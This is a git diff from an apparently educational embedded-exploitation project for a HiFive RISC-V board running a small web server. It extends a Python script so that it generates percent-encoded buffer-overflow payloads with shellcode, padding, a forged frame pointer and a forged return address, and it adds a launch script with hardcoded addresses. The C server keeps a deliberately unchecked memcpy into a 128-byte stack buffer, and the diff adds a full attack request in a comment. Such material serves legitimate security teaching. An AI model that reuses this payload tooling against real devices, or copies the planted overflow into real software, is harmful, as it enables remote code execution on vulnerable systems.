diff --git a/assembler.py b/assembler.py
index 1c58842fdd64dcc784be4b73fea340424bb190cf..3316a1f4bfbee164df0b61518f12c62c08b0b360 100755
--- a/assembler.py
+++ b/assembler.py
@@ -7,6 +7,35 @@ import subprocess
 arch_prefix = "riscv64-unknown-elf-"
 march = "rv32i"
 reverse_bytes = True
+# "%", for percent encoding
+# "\\x", if no percent decoding occurs
+encode_char = "%"
+
+def split_hex_str(hex_str):
+    return [hex_str[0:2], hex_str[2:4], hex_str[4:6], hex_str[6:8]]
+
+def write_hex(hex_num):
+    return "%s%s%s%s%s%s%s%s" % (encode_char, hex_num[0], encode_char, hex_num[1], encode_char, hex_num[2], encode_char, hex_num[3])
+
+if sys.argv[1] == "--help":
+    print("HELP:")
+    print(" call like this:")
+    print(" %s asm_file desired_length frame_pointer return_address" % sys.argv[0])
+    exit()
+
+desired_len = int(sys.argv[2])
+if sys.argv[3].startswith("0x"):
+    fp = split_hex_str(sys.argv[3][2:])
+else:
+    fp = split_hex_str(sys.argv[3])
+if sys.argv[4].startswith("0x"):
+    ra = split_hex_str(sys.argv[4][2:])
+else:
+    ra = split_hex_str(sys.argv[4])
+
+if reverse_bytes:
+    fp.reverse()
+    ra.reverse()
 
 try:
     path = os.environ["RV_BIN_PATH"]
@@ -22,6 +51,15 @@ subprocess.run([assembler, sys.argv[1], "-march=" + march])
 with subprocess.Popen([objdump, "-D", "a.out"], stdout=subprocess.PIPE) as objdump_result:
     with open("i_am_bin_dump", "wb") as f:
         text_start = False
+        if desired_len % 4 != 0:
+            print('          "', end='')
+            while desired_len % 4 != 0:
+                f.write(b'X')
+                print("X", end='')
+                desired_len -= 1
+            print('" // padding to align the instructions')
+
+        print()
 
         for line in objdump_result.stdout.read().decode("utf-8").splitlines():
             if not text_start:
@@ -32,13 +70,35 @@ with subprocess.Popen([objdump, "-D", "a.out"], stdout=subprocess.PIPE) as objdu
             else:
                 components = line.split()
                 offset = components[0]
-                hexval = [components[1][0:2], components[1][2:4], components[1][4:6], components[1][6:8]]
+                hexval = split_hex_str(components[1])
                 if reverse_bytes:
                     hexval.reverse()
                 instruction = " ".join(components[2:])
-                print('          "\\x%s\\x%s\\x%s\\x%s" // %s %s' % (hexval[0], hexval[1], hexval[2], hexval[3], offset, instruction))
+                print('          "%s" // %s %s' % (write_hex(hexval), offset, instruction))
                 for hx in hexval:
                     f.write(bytes([int(hx, 16)]))
+                desired_len -= 4
+
+        if desired_len < 8:
+            print("ERROR: instructions took up more space than the desired length")
+            exit()
+
+        print()
+
+        while desired_len > 8:
+            print('          "XXXX" // padding to overwrite the return address')
+            f.write(b"XXXX")
+            desired_len -= 4
+
+        print()
+
+        print('          "%s" // the new frame pointer: %s' % (write_hex(fp), sys.argv[3]))
+        for hx in fp:
+            f.write(bytes([int(hx, 16)]))
+        print('          "%s" // the new return address: %s' % (write_hex(ra), sys.argv[4]))
+        for hx in ra:
+            f.write(bytes([int(hx, 16)]))
+
 
 print("running xclip for hex to clipboard")
 subprocess.run(["xclip", "-selection", "clipboard", "-noutf8", "-in", "i_am_bin_dump"])
diff --git a/create_hifive_attack.sh b/create_hifive_attack.sh
new file mode 100755
index 0000000000000000000000000000000000000000..a08908cbb9c132d8f9371b4a374761ec7846a45f
--- /dev/null
+++ b/create_hifive_attack.sh
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+python3 ./assembler.py sifive_software/payload_hifive_ohnemz.as 141 0x80001f10 0x80001e44
diff --git a/sifive_software/payload_hifive_ohnemz.as b/sifive_software/payload_hifive_ohnemz.as
index 2d8025e9f963e6ce14be1154d00a2ae8b1c05a2a..7e0d87a29d745f863dd08d318d2f7e51df95ff84 100644
--- a/sifive_software/payload_hifive_ohnemz.as
+++ b/sifive_software/payload_hifive_ohnemz.as
@@ -1,6 +1,4 @@
 .text
- li x10, 0x2001055c
- addi x28, x0, 0
- li x28, 0x2001145C
- jalr x29, x28, 0x0
-nop
+    li a0, 0x20010368
+    li t3, 0x200125d0
+    jalr t4, t3
diff --git a/sifive_software/src/wifi_exploit.c b/sifive_software/src/wifi_exploit.c
index 1ae8c387c489bb70bd7023ea8ac482501baffb02..0e8f2686d9d61549535448f70663e5fc60ec0734 100644
--- a/sifive_software/src/wifi_exploit.c
+++ b/sifive_software/src/wifi_exploit.c
@@ -44,27 +44,24 @@
 	"    </body>\n"\
 	"</html>"
 
-char *target = "secret";
-char * get_target() {
-	return target;
-}
 
-int is_target(char *test) {
-	return strncmp(test, target, strlen(target)) == 0;
+char *admin_name = "my_secret_admin_name";
+
+int is_admin(char *name, uint32_t name_len) {
+	return strlen(admin_name) == name_len && strncmp(name, admin_name, name_len) == 0;
 }
 
-char *attack_me(char *data, uint32_t data_len) {
-	// nobody could possibly enter a name longer than 20 characters, so this buffer
+char *generate_page(char *name, uint32_t name_len) {
+	// nobody could possibly enter a name longer than 120 characters, so this buffer
 	// is definitely large enough
 	char message[128];
-	memset(message, 'B', sizeof(message));
-	memcpy(message, "Hallo, ", 7);
-	if(strncmp(data, get_target(), strlen(get_target())) == 0) {
-		snprintf(message + 7, strlen(target) + 1, target);
-		snprintf(message + 13, 14 , " ist korrekt!");
+	if(is_admin(name, name_len)) {
+		memcpy(message, "Willkommen im Admin-Bereich.", 29);
 	}
 	else {
-		memcpy(message + 7, data, data_len);
+		memcpy(message, "Hallo, ", 7);
+		memcpy(message + 7, name, name_len);
+		message[7 + name_len] = '\0';
 	}
 
 	char *result = malloc(strlen(message) + 1);
@@ -81,10 +78,10 @@ char *server_request_handler(char *location, enum request_type type, char *data,
 			uint32_t name_len = data_len - 5;
 			name_len = webserver_percent_decode(&data[5], name_len);
 			char *return_string;
-			return_string = attack_me(&data[5], name_len);
+			return_string = generate_page(&data[5], name_len);
 
 			char* response = http_prepare_response(return_string, strlen(return_string), 200, out_len);
-			free(return_string);
+			//free(return_string);
 			return response;
 		} else {
 			return http_prepare_response(RESPONSE_404, strlen(RESPONSE_404), 404, out_len);
@@ -95,17 +92,6 @@ char *server_request_handler(char *location, enum request_type type, char *data,
 	return NULL;
 }
 
-
-
-/*
- * 0x6
- * 0x55
- * 0x80000f37
- * 0x1f
- * 0x0
- * H=6C6C6148 Hall
- */
-
 int main(void) {
     LED_off(LED_ALL);
     LED_on(LED_RED);
@@ -117,51 +103,61 @@ int main(void) {
 
     spi_init(SPICLOCK_80KHZ);
 
-    char *attack = "sBAUM";
-    char *revattack = "a"
-
-            "\x37\x05\x01\x20"
-            "\x13\x05\xc5\x55"
-            "\x13\x0e\x00\x00"
-            "\x37\x1e\x01\x20"
-            "\x13\x0e\xce\x45" // 10: addi t3,t3,1116 # 0x2001145c
-            "\xe7\x0e\x0e\x00" // 14: jalr t4,t3
-            "\x13\x00\x00\x00" // 18: nop
-
-    		"\x13\x00\x00\x00" // 20: nop
-            "\x13\x00\x00\x00" // 20: nop
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-            "\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-    		"\x13\x00\x00\x00"
-
-    		"\xe4\x0e\x00\x80"
-    		"\xe4\x0e\x00\x80";
-    //char *result = attack_me(revattack, 141);
-    //char *result = attack_me(attack, 120);
-
-    //printf("result: %s", result);
-
+    /*
+    char *raw_attack = "name="
+            "X" // padding to align the instructions
+
+            "%37%05%01%20" // 0: lui a0,0x20010
+            "%13%05%05%36" // 4: addi a0,a0,864 # 0x20010360
+            "%37%2e%01%20" // 8: lui t3,0x20012
+            "%13%0e%ee%14" // c: addi t3,t3,334 # 0x2001214e
+            "%e7%0e%0e%00" // 10: jalr t4,t3
+
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+            "XXXX" // padding to overwrite the return address
+
+            "%60%0f%00%80" // the new frame pointer: 0x80000f60
+            "%94%0e%00%80" // the new return address: 0x80000e94
+    ;
+    uint32_t raw_attack_len = strlen(raw_attack);
+    char *attack = malloc(raw_attack_len);
+    memcpy(attack, raw_attack, raw_attack_len);
+    bool free_result;
+    uint32_t out_len;
+    char *result = server_request_handler("/", POST_REQUEST, attack, raw_attack_len, &out_len, &free_result);
+
+    printf("out_len: %d\r\n", out_len);
+    printf("result: ");
+    for (int i = 0; i < out_len; ++i) {
+    	printf("%c", result[i]);
+    }
+    */
 
     if(webserver_init(ESP32_NETWORK_IMPLEMENTATION) != 0) {
     	return 1;
@@ -175,6 +171,5 @@ int main(void) {
     LED_off(LED_BLUE);
     LED_on(LED_GREEN);
 
-
     return 0;
 }